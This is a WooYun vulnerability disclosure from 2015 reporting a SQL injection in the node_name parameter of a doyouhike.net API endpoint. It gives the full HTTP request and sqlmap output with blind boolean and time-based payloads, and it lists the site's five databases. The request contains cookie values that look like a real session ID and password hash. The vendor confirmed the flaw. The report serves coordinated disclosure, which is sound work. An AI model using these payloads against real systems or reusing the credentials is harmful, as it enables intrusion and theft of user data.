当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0165623

漏洞标题:磨房网SQL注入七(5库涉及百万用户数据)

相关厂商:doyouhike.net

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-12-29 09:39

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-29: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-08: 细节向核心白帽子及相关领域专家公开
2016-01-18: 细节向普通白帽子公开
2016-01-28: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

磨小驴···

详细说明:

POST数据包:

POST /api/place/auto_output_nodes HTTP/1.1
Host: www.doyouhike.net
Content-Length: 11
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://www.doyouhike.net
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 UBrowser/5.5.7852.203 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.doyouhike.net/my/visited/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: pgv_pvi=8593548288; PHPSESSID=r12ljv192rvvt8o83ttd0qs8p1; pgv_si=s8301168640; __utmt=1; dyh_userid=3009909; dyh_password=118c3ec5e8b073f978fc0b4d45e601c5; __utma=151782572.1166654032.1451292000.1451312128.1451316021.5; __utmb=151782572.27.10.1451316021; __utmc=151782572; __utmz=151782572.1451292000.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); dyh_lastactivity=1451318176
node_name=a


参数 node_name 可注入

0.png


5.png


看见 g3rc 有三百多张表就没跑了 正好看见 user 表 于是跑了下数量

3.png


bizrc 数据库里的各类表数量:

4.png


漏洞证明:

sqlmap identified the following injection point(s) with a total of 57 HTTP(s) re
quests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: node_name=a%' AND 3078=3078 AND '%'='
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: node_name=a%' AND (SELECT * FROM (SELECT(SLEEP(5)))prtU) AND '%'='
---
[23:59:51] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0.12
[23:59:51] [INFO] fetching database names
[23:59:51] [INFO] fetching number of databases
[23:59:51] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[23:59:51] [INFO] retrieved: 5
[23:59:53] [INFO] retrieved: information_schema
[00:01:02] [INFO] retrieved: bizrc
[00:01:22] [INFO] retrieved: click
[00:01:40] [INFO] retrieved: g3rc
[00:01:57] [INFO] retrieved: sphinx
available databases [5]:
[*] bizrc
[*] click
[*] g3rc
[*] information_schema
[*] sphinx
[00:02:26] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 31 times
[00:02:26] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.doyouhike.net'
[*] shutting down at 00:02:26

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-12-29 10:19

厂商回复:

严重漏洞

最新状态:

暂无